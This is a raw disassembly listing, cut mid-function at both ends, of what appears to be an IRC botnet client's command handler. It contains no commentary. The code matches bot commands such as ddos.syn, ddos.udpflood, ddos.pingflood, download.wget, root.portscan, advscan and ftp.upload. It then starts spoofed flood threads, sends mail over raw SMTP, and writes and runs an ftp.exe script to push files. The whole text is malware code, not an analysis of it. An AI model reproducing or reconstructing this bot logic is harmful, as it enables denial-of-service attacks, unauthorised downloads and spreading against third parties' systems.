aCom_e ; "com.e" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aFf ; "ff" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40F239 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DA push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DA push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40F239 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aAdv ; "adv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aU ; "u" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aP ; "p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41189C lea eax, [ebp+var_3F8] push edi push eax call sub_4179C0 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_4179C0 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_4179C0 push offset asc_42A3B4 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_40A7D7 push eax lea eax, [ebp+var_55C] push eax call sub_4179C0 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call dword_43AD10 lea eax, [ebp+var_3F8] push eax call dword_43AE1C push 6 push 1 push 2 mov edi, eax call dword_43AE18 push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call dword_43AD98 mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4172B0 add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call dword_43AD40 mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43ADB0 lea eax, [ebp+var_CAC] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call dword_43ADE8 push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43ADB0 push esi call dword_43AE30 call dword_43ACF8 lea eax, [ebp+var_BA8] push eax push offset unk_431AA4 loc_411888: ; CODE XREF: sub_40EE72+3B51j ; sub_40EE72+3E38j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_413A62 ; --------------------------------------------------------------------------- loc_41189C: ; CODE XREF: sub_40EE72+28C0j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F239 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 push 4 push esi call sub_40D000 pop ecx test eax, eax pop ecx jnz short loc_411906 push esi push offset dword_431A4C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40EE72+2A87j nop call near ptr 2610EF3h push eax call sub_417302 pop ecx call sub_41730C push 9 cdq pop ecx idiv ecx push edx call sub_41730C push 63h cdq pop ecx idiv ecx push edx call sub_41730C cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4172B0 lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_4179A8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40F239 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_417956 push [ebp+arg_24] call sub_417900 add esp, 20h lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_4 ; "-s:%s" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43AD0C test eax, eax push edi push esi jz short loc_4119D3 push offset dword_4319D4 jmp short loc_4119D8 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40EE72+2B58j push offset dword_431998 loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411A01 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_411A01: ; CODE XREF: sub_40EE72+2B71j lea eax, [ebp+var_2DC] push eax call sub_40BF6D loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j lea eax, [ebp+var_BAC] push 4 push eax call sub_40D000 add esp, 0Ch test eax, eax jz loc_40F239 lea eax, [ebp+var_BAC] push eax call sub_419BBA jmp short loc_411A0D ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj ; sub_40EE72+2A52j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41781F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406AF8 loc_411A5D: ; CODE XREF: sub_40EE72+587Aj add esp, 24h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411A65: ; CODE XREF: sub_40EE72+2892j ; sub_40EE72+28A9j mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A lea eax, [ebp+var_678] push eax push offset aSyn ; "syn" call sub_4176D0 add esp, 14h test eax, eax jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 push offset dword_431960 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj ; sub_40EE72+2C33j ... push [ebp+arg_10] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_411BF4 push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_6F8] push [ebp+arg_18] push esi push eax call sub_41782A push [ebp+arg_0] call sub_41781F mov [ebp+var_574], eax add esp, 10h xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_411B65 mov eax, offset aNormal ; "Normal" loc_411B65: ; CODE XREF: sub_40EE72+2CECj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_43190C lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_416D5C add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D82 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411BE3 loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 26207A4h jmp short loc_411BCD ; --------------------------------------------------------------------------- loc_411BE3: ; CODE XREF: sub_40EE72+2D59j nop call near ptr 26702AAh push eax push offset dword_4318C4 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411BF4: ; CODE XREF: sub_40EE72+2C67j push offset dword_43187C jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411BFE: ; CODE XREF: sub_40EE72+284Dj ; sub_40EE72+2864j ... cmp dword_43AE88, ebx mov esi, [ebp+arg_4] jnz loc_411D09 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_418C10 add esp, 24h lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset unk_431824 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40AF86 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411CF8 loc_411CE6: ; CODE XREF: sub_40EE72+2E84j cmp [ebp+var_2FC], ebx jnz short loc_411D22 push 32h nop call near ptr 26207A4h jmp short loc_411CE6 ; --------------------------------------------------------------------------- loc_411CF8: ; CODE XREF: sub_40EE72+2E72j nop call near ptr 26702AAh push eax push offset unk_4317DC jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411D09: ; CODE XREF: sub_40EE72+2D95j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_418C10 loc_411D1F: ; CODE XREF: sub_40EE72+3A66j add esp, 0Ch loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj ; sub_40EE72+2FD2j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_411D2F: ; CODE XREF: sub_40EE72+567Ej lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_414629 ; --------------------------------------------------------------------------- loc_411D42: ; CODE XREF: sub_40EE72+2808j ; sub_40EE72+281Fj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_411DA7 push esi call sub_41781F pop ecx mov [ebp+var_30C], eax jmp short loc_411DAD ; --------------------------------------------------------------------------- loc_411DA7: ; CODE XREF: sub_40EE72+2F24j mov [ebp+var_30C], ebx loc_411DAD: ; CODE XREF: sub_40EE72+2F33j push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_418C10 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset dword_43176C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B112 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411E54 loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j cmp [ebp+var_2FC], ebx jnz loc_411D22 push 32h nop call near ptr 26207A4h jmp short loc_411E3E ; --------------------------------------------------------------------------- loc_411E54: ; CODE XREF: sub_40EE72+2FCAj nop call near ptr 26702AAh push eax push offset dword_431724 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411E65: ; CODE XREF: sub_40EE72+27DAj ; sub_40EE72+27F1j push 8 call sub_416FA4 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41781F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 3E8h jle short loc_411EB8 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset unk_4316D8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411EB8: ; CODE XREF: sub_40EE72+300Fj push edi call sub_41781F push [ebp+arg_18] mov [ebp+var_330], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F add esp, 0Ch cmp eax, 2 mov [ebp+var_32C], eax jnb short loc_411EF1 push 2 pop eax mov [ebp+var_32C], eax loc_411EF1: ; CODE XREF: sub_40EE72+3074j push 3Ch pop ecx cmp eax, ecx jbe short loc_411EFE mov [ebp+var_32C], ecx loc_411EFE: ; CODE XREF: sub_40EE72+3084j push [ebp+arg_10] call sub_41781F cmp eax, 270Fh pop ecx mov [ebp+var_328], eax jbe short loc_411F1E mov [ebp+var_328], 270Fh loc_411F1E: ; CODE XREF: sub_40EE72+30A0j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+arg_0], ebx jz short loc_411F74 mov [ebp+arg_24], offset dword_42ACB0 loc_411F37: ; CODE XREF: sub_40EE72+30E4j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411F5A add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_411F37 jmp short loc_411F74 ; --------------------------------------------------------------------------- loc_411F5A: ; CODE XREF: sub_40EE72+30D6j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_411F74: ; CODE XREF: sub_40EE72+30BCj ; sub_40EE72+30E6j cmp [ebp+var_330], ebx jz loc_414039 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_411FBB cmp byte ptr [edi], 23h jz short loc_411FBB push edi lea eax, [ebp+var_444] push 10h push eax call sub_41782A push 78h push edi call sub_418F50 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_41208F ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_40EE72+3117j ; sub_40EE72+311Cj cmp [ebp+var_9C7], bl jnz short loc_411FDD cmp [ebp+var_9C6], bl jnz short loc_411FDD cmp [ebp+var_9B6], bl jnz short loc_411FDD push offset unk_431694 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411FDD: ; CODE XREF: sub_40EE72+314Fj ; sub_40EE72+3157j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43AD3C mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43AE24 push eax lea eax, [ebp+var_444] push eax call sub_418C10 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_412089 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_41207D loc_41205B: ; CODE XREF: sub_40EE72+3209j cmp eax, ebx jz short loc_41207D mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41205B loc_41207D: ; CODE XREF: sub_40EE72+31E7j ; sub_40EE72+31EBj mov [ebp+var_304], 1 jmp short loc_41208F ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_40EE72+31C1j mov [ebp+var_304], ebx loc_41208F: ; CODE XREF: sub_40EE72+3144j ; sub_40EE72+3215j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_41782A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_4120E0 loc_4120CD: ; CODE XREF: sub_40EE72+3291j push esi loc_4120CE: ; CODE XREF: sub_40EE72+327Bj lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41210B ; --------------------------------------------------------------------------- loc_4120E0: ; CODE XREF: sub_40EE72+3259j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4120EF cmp byte ptr [eax], 23h jnz short loc_4120EF push eax jmp short loc_4120CE ; --------------------------------------------------------------------------- loc_4120EF: ; CODE XREF: sub_40EE72+3273j ; sub_40EE72+3278j mov esi, offset aF ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4120CD mov [ebp+var_3B4], bl loc_41210B: ; CODE XREF: sub_40EE72+326Cj cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41211D mov eax, offset aSequential ; "Sequential" loc_41211D: ; CODE XREF: sub_40EE72+32A4j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_431610 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4121AB loc_412195: ; CODE XREF: sub_40EE72+3337j cmp [ebp+var_300], ebx jnz loc_41460C push 32h nop call near ptr 26207A4h jmp short loc_412195 ; --------------------------------------------------------------------------- loc_4121AB: ; CODE XREF: sub_40EE72+3321j nop call near ptr 26702AAh push eax push offset unk_4315C8 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_4121BC: ; CODE XREF: sub_40EE72+279Aj ; sub_40EE72+27B1j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_440808[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 add esp, 14h mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_4315BC push eax call sub_4172B0 add esp, 0Ch cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_4405F0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_440808 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_4122A7: ; CODE XREF: sub_40EE72+3532j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4122D4: ; CODE XREF: sub_40EE72+276Cj ; sub_40EE72+2783j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_440808[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 14h cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_4405F0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_440808 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_4122A7 ; --------------------------------------------------------------------------- loc_4123A9: ; CODE XREF: sub_40EE72+273Ej ; sub_40EE72+2755j push edi call dword_43ADD8 push [ebp+arg_18] mov [ebp+var_474], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_480], eax call sub_41781F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_418C10 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call dword_43AE24 push eax lea eax, [ebp+var_2DC] push offset unk_431550 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset byte_415E37 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41248B loc_412475: ; CODE XREF: sub_40EE72+3617j cmp [ebp+var_464], ebx jnz loc_4144E5 push 32h nop call near ptr 26207A4h jmp short loc_412475 ; --------------------------------------------------------------------------- loc_41248B: ; CODE XREF: sub_40EE72+3601j nop call near ptr 26702AAh push eax push offset unk_431504 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_40EE72+2710j ; sub_40EE72+2727j push edi call sub_41781F push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_418C10 push [ebp+arg_0] call sub_41781F mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_398] push [ebp+var_8C] mov [ebp+var_420], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_4314B8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_416D5C add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407BDE push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412588 loc_412572: ; CODE XREF: sub_40EE72+3714j cmp [ebp+var_300], ebx jnz loc_4144E5 push 32h call near ptr 26207A4h nop jmp short loc_412572 ; --------------------------------------------------------------------------- loc_412588: ; CODE XREF: sub_40EE72+36FEj nop call near ptr 26702AAh push eax push offset unk_431464 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_412599: ; CODE XREF: sub_40EE72+26E2j ; sub_40EE72+26F9j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_418C10 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_41781F mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4125F5 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125F5: ; CODE XREF: sub_40EE72+376Dj mov [ebp+var_570], ebx loc_4125FB: ; CODE XREF: sub_40EE72+3781j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_412612 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412618 ; --------------------------------------------------------------------------- loc_412612: ; CODE XREF: sub_40EE72+378Fj mov [ebp+var_574], ebx loc_412618: ; CODE XREF: sub_40EE72+379Ej movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push edi push offset unk_431428 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_580] imul ecx, 234h 